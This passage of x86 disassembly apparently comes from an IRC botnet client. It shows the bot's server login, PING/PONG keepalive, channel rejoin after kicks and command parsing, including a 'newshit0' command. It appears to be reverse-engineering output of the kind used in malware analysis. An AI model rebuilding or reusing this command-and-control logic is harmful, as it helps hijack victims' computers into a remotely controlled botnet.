		call	ds:dword_431F10
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_43702C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409F9B
		push	esi
		call	ds:dword_431F28
		call	sub_407E3F
		push	7D0h


loc_409F90:				; CODE XREF: sub_409EB0+146j
		call	ds:dword_41D050	; Sleep
		jmp	loc_409ED5
; ---------------------------------------------------------------------------


loc_409F9B:				; CODE XREF: sub_409EB0+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42B370
		call	sub_408D72
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40A018
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_431F28
		test	edi, edi
		jz	loc_409ED5
		cmp	edi, 1
		jnz	short loc_409FF8
		push	0DBBA0h
		jmp	short loc_409F90
; ---------------------------------------------------------------------------


loc_409FF8:				; CODE XREF: sub_409EB0+13Fj
		cmp	edi, 2
		jz	short loc_40A006
		jmp	loc_409ED5
; ---------------------------------------------------------------------------


loc_40A002:				; CODE XREF: sub_409EB0+5Aj
		xor	eax, eax
		jmp	short loc_40A012
; ---------------------------------------------------------------------------


loc_40A006:				; CODE XREF: sub_409EB0+14Bj
		push	[ebp+var_34]
		call	sub_41172B
		pop	ecx
		push	2
		pop	eax


loc_40A012:				; CODE XREF: sub_409EB0+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_409EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A018	proc near		; CODE XREF: sub_409EB0+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_412030
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40A036:				; CODE XREF: sub_40A018+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40A036
		cmp	ds:byte_460488,	bl
		jz	short loc_40A05D
		push	offset byte_460488
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40F420
		add	esp, 0Ch


loc_40A05D:				; CODE XREF: sub_40A018+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_410B4D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_411963
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A0C7
		push	[ebp+arg_0]
		call	ds:dword_431F28
		push	1388h
		call	ds:dword_41D050	; Sleep


loc_40A0C0:				; CODE XREF: sub_40A018+D9j
					; sub_40A018+153j
		xor	eax, eax


loc_40A0C2:				; CODE XREF: sub_40A018+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A0C7:				; CODE XREF: sub_40A018+92j
					; sub_40A018+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431EA8
		test	eax, eax
		jle	short loc_40A0C0
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_4077F6
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40A0C7
		lea	edi, [ebp+var_A10]


loc_40A118:				; CODE XREF: sub_40A018+165j
		push	1
		pop	esi


loc_40A11B:				; CODE XREF: sub_40A018+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40A190
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40A15E
		push	7D0h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40A11B
; ---------------------------------------------------------------------------


loc_40A15E:				; CODE XREF: sub_40A018+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40A188
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40A184
		cmp	esi, 0FFFFFFFFh
		jz	loc_40A0C0
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40A118
		jmp	loc_40A0C7
; ---------------------------------------------------------------------------


loc_40A184:				; CODE XREF: sub_40A018+14Ej
		push	1
		jmp	short loc_40A18A
; ---------------------------------------------------------------------------


loc_40A188:				; CODE XREF: sub_40A018+149j
		push	2


loc_40A18A:				; CODE XREF: sub_40A018+16Ej
		pop	eax
		jmp	loc_40A0C2
sub_40A018	endp

; ---------------------------------------------------------------------------


loc_40A190:				; CODE XREF: sub_40A018+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_412030
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_4119E0
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413150
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40A60B
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_4119E0
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413150
		lea	eax, [ebp-0F9Ch]
		push	offset asc_42E088 ; " :"
		push	eax
		call	sub_411F30
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_413150
		mov	esi, offset asc_420708 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_4130B0
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A4h], 1Fh


loc_40A263:				; CODE XREF: seg000:0040A277j
		push	esi
		push	ebx
		call	sub_4130B0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A4h]
		pop	ecx
		jnz	short loc_40A263
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40A60B
		cmp	[ebp-90h], ebx
		jz	loc_40A60B
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40A2B1:				; CODE XREF: seg000:0040A2E3j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40A2DD
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40A2E5
		cmp	[eax+2], bl
		jnz	short loc_40A2E5
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40A2DD:				; CODE XREF: seg000:0040A2B5j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40A2B1


loc_40A2E5:				; CODE XREF: seg000:0040A2BAj
					; seg000:0040A2BFj
		cmp	[ebp-9A1h], bl
		jz	short loc_40A2F0
		mov	[ebp-8], edi


loc_40A2F0:				; CODE XREF: seg000:0040A2EBj
		cmp	[ebp-9A6h], bl
		jz	short loc_40A2FE
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40A2FE:				; CODE XREF: seg000:0040A2F6j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40A338
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_413150
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_413150
		lea	eax, [ebp-0C4h]
		push	offset dword_4275C4
		push	eax
		call	sub_4130B0
		add	esp, 20h


loc_40A338:				; CODE XREF: seg000:0040A301j
		push	esi
		push	offset aPing	; "PING"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A389
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40A42D
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		add	esp, 10h
		jmp	loc_40A42D
; ---------------------------------------------------------------------------


loc_40A389:				; CODE XREF: seg000:0040A347j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3DA
		push	esi
		push	offset a005	; "005"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3DA
		push	esi
		push	offset a302	; "302"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A3F4
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A42D
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_413150
		add	esp, 0Ch
		jmp	short loc_40A42D
; ---------------------------------------------------------------------------


loc_40A3F4:				; CODE XREF: seg000:0040A3C8j
		push	esi
		push	offset a433	; "433"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A434
		push	ebx
		push	ds:dword_460484
		push	ds:dword_424384
		push	dword ptr [ebp+18h]
		call	sub_410B4D
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		add	esp, 1Ch


loc_40A42D:				; CODE XREF: seg000:0040A368j
					; seg000:0040A384j ...
		mov	eax, edi
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40A434:				; CODE XREF: seg000:0040A403j
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A4h], 2
		mov	edi, 80h


loc_40A446:				; CODE XREF: seg000:0040A46Bj
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A463
		mov	dword ptr [ebp-0A8h], 1


loc_40A463:				; CODE XREF: seg000:0040A457j
		add	esi, edi
		dec	dword ptr [ebp-0A4h]
		jnz	short loc_40A446
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A55A
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40A492:				; CODE XREF: seg000:0040A51Fj
		cmp	[esi], bl
		jz	loc_40A51A
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_413150
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A51A
		cmp	[ebp-88h], ebx
		jz	short loc_40A51A
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A51A
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42E014
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		add	esp, 20h


loc_40A51A:				; CODE XREF: seg000:0040A494j
					; seg000:0040A4B4j ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40A492
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A60B
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40A54D:				; CODE XREF: seg000:0040A78Cj
					; seg000:0040AA58j
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		jmp	loc_40ECBD
; ---------------------------------------------------------------------------


loc_40A55A:				; CODE XREF: seg000:0040A482j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A6A0
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40A583:				; CODE XREF: seg000:0040A5D5j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A5D0
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_413BB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40A5D0
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_412FC0
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_412FD0
		add	esp, 10h
		mov	edi, 80h


loc_40A5D0:				; CODE XREF: seg000:0040A594j
					; seg000:0040A5ABj
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40A583
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	short loc_40A60B
		cmp	[ebp+2Ch], ebx
		jz	short loc_40A60B
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A613
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_413150
		add	esp, 0Ch


loc_40A60B:				; CODE XREF: seg000:0040A1EBj
					; seg000:0040A281j ...
		push	1


loc_40A60D:				; CODE XREF: seg000:0040EF7Ej
		pop	eax


loc_40A60E:				; CODE XREF: seg000:0040A42Fj
					; seg000:0040D61Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A613:				; CODE XREF: seg000:0040A5F9j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A618:				; CODE XREF: seg000:0040A639j
		cmp	[edi], bl
		jz	short loc_40A62F
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A63D


loc_40A62F:				; CODE XREF: seg000:0040A61Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A618
		jmp	short loc_40A60B
; ---------------------------------------------------------------------------


loc_40A63D:				; CODE XREF: seg000:0040A62Dj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_413BB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	short loc_40A60B
		push	eax
		call	sub_411FB0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_411FB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40A60B
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_411963
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 24h
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40A6A0:				; CODE XREF: seg000:0040A569j
		push	esi
		push	offset aPart	; "PART"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A6C2
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A6E9


loc_40A6C2:				; CODE XREF: seg000:0040A6AFj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A6C7:				; CODE XREF: seg000:0040A6E7j
		cmp	[edi], bl
		jz	short loc_40A6DD
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A730


loc_40A6DD:				; CODE XREF: seg000:0040A6C9j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A6C7


loc_40A6E9:				; CODE XREF: seg000:0040A6C0j
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A791
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A720
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40A720:				; CODE XREF: seg000:0040A715j
		push	dword ptr [ebp-84h]
		push	offset dword_42DFB4
		jmp	loc_40F3CE
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: seg000:0040A6DBj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42DF80
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-90h]
		push	offset aPart	; "PART"
		call	sub_411D80
		add	esp, 18h
		test	eax, eax
		jnz	loc_40A60B
		lea	eax, [ebp-2E4h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40A54D
; ---------------------------------------------------------------------------


loc_40A791:				; CODE XREF: seg000:0040A6FDj
		push	dword ptr [ebp-90h]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_411D80
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40A7E5
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A7E5
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F247
		cmp	ds:dword_424374, ebx
		jz	loc_40F247


loc_40A7E5:				; CODE XREF: seg000:0040A7ABj
					; seg000:0040A7BDj
		push	dword ptr [ebp-90h]
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A8EB
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A8EB
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		push	4
		mov	[ebp-8Ch], eax
		pop	esi
		mov	[ebp-0ACh], esi


loc_40A82C:				; CODE XREF: seg000:0040A9A7j
					; seg000:0040AA2Dj ...
		shl	esi, 2
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, ds:byte_42437C
		mov	[ebp+14h], edi
		jnz	loc_40A60B
		push	edi
		push	offset aNewshit0 ; "newshit0"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F24F
		push	edi
		push	offset dword_42DF5C
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F24F
		cmp	[ebp-0A8h], ebx
		jnz	short loc_40A89F
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx


loc_40A899:				; DATA XREF: seg002:0041FCDCo
					; seg002:0041FD20o ...
		jnz	loc_40F247


loc_40A89F:				; CODE XREF: seg000:0040A883j
		cmp	[ebp+30h], ebx
		jnz	loc_40F247
		cmp	ds:dword_426984, ebx
		mov	[ebp+10h], ebx
		jle	loc_40ABCB
		mov	dword ptr [ebp+28h], offset dword_4362A0


loc_40A8BE:				; CODE XREF: seg000:0040A8E4j
		push	edi
		push	dword ptr [ebp+28h]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40AA5D
		inc	dword ptr [ebp+10h]
		add	dword ptr [ebp+28h], 0B8h
		mov	eax, [ebp+10h]
		cmp	eax, ds:dword_426984
		jl	short loc_40A8BE
		jmp	loc_40ABCB
; ---------------------------------------------------------------------------


loc_40A8EB:				; CODE XREF: seg000:0040A7F5j
					; seg000:0040A80Bj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A904
		mov	dword ptr [ebp-4], 1


loc_40A904:				; CODE XREF: seg000:0040A8FBj
		cmp	[ebp-8Ch], ebx
		jz	loc_40A60B
		push	(offset	loc_42025F+1)
		push	dword ptr [ebp-8Ch]
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A92B
		cmp	[ebp-4], ebx
		jz	short loc_40A937


loc_40A92B:				; CODE XREF: seg000:0040A924j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40A937:				; CODE XREF: seg000:0040A929j
		cmp	[ebp-88h], ebx
		jz	loc_40A60B
		inc	dword ptr [ebp-88h]
		jz	short loc_40A983
		cmp	[ebp+18h], ebx
		jz	short loc_40A983
		lea	eax, [ebp-564h]
		push	eax
		call	sub_411FB0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_4132E0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40A989
; ---------------------------------------------------------------------------


loc_40A983:				; CODE XREF: seg000:0040A949j
					; seg000:0040A94Ej
		mov	esi, [ebp-0ACh]


loc_40A989:				; CODE XREF: seg000:0040A981j
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40A60B
		push	edi
		push	offset dword_42DF50
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A82C
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40AA1E
		mov	eax, ds:dword_460494
		mov	eax, ds:off_424448[eax*4]
		cmp	[eax], bl
		jz	short loc_40AA1E
		push	eax
		push	ecx
		push	offset dword_42DF34
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		add	esp, 20h
		cmp	[ebp-0A8h], ebx
		jnz	loc_40A60B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	1
		push	eax
		push	offset dword_46039C
		jmp	loc_40EB0E
; ---------------------------------------------------------------------------


loc_40AA1E:				; CODE XREF: seg000:0040A9B6j
					; seg000:0040A9C6j
		push	edi
		push	offset dword_42DF10
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A82C
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40A82C
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40A82C
		push	eax
		push	ecx
		push	offset dword_42DEF8
		jmp	loc_40A54D
; ---------------------------------------------------------------------------


loc_40AA5D:				; CODE XREF: seg000:0040A8CBj
		push	offset asc_42E088 ; " :"
		push	dword ptr [ebp+8]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40A60B
		mov	edi, [ebp+10h]
		mov	cl, ds:byte_42437C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42437C
		mov	[eax+3], cl
		lea	ecx, dword_4362B8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_413150
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+10h], 0Fh
		mov	[ebp+28h], eax


loc_40AAB5:				; CODE XREF: seg000:0040AB5Dj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_411963
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411F30
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AB21
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jz	short loc_40AB21
		lea	eax, dword_4362A0[edi]
		push	eax
		call	sub_411FB0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40AB53
		mov	eax, [ebp+28h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AB53
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407765
		add	esp, 0Ch
		jmp	short loc_40AB53
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: seg000:0040AADDj
					; seg000:0040AAE4j
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jnz	short loc_40AB53
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_413150
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407765
		add	esp, 18h


loc_40AB53:				; CODE XREF: seg000:0040AAF6j
					; seg000:0040AB0Aj ...
		dec	dword ptr [ebp+10h]
		sub	dword ptr [ebp+28h], 4
		cmp	[ebp+10h], ebx
		jg	loc_40AAB5
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+10h], 10h
		mov	edi, eax


loc_40AB70:				; CODE XREF: seg000:0040ABBCj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_411963
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_411F30
		add	esp, 14h
		test	eax, eax
		jz	short loc_40ABB3
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40ABB3
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407765
		add	esp, 0Ch


loc_40ABB3:				; CODE XREF: seg000:0040AB98j
					; seg000:0040AB9Ej
		dec	dword ptr [ebp+10h]
		sub	edi, 4
		cmp	[ebp+10h], ebx
		jg	short loc_40AB70
		mov	edi, [ebp+14h]
		mov	dword ptr [ebp-0C8h], 1


loc_40ABCB:				; CODE XREF: seg000:0040A8B1j
					; seg000:0040A8E6j
		mov	al, [edi]
		cmp	al, ds:byte_42437C
		jz	short loc_40ABE1
		cmp	[ebp-0C8h], ebx
		jz	loc_40ADC6


loc_40ABE1:				; CODE XREF: seg000:0040ABD3j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_407765
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_407765
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_407765
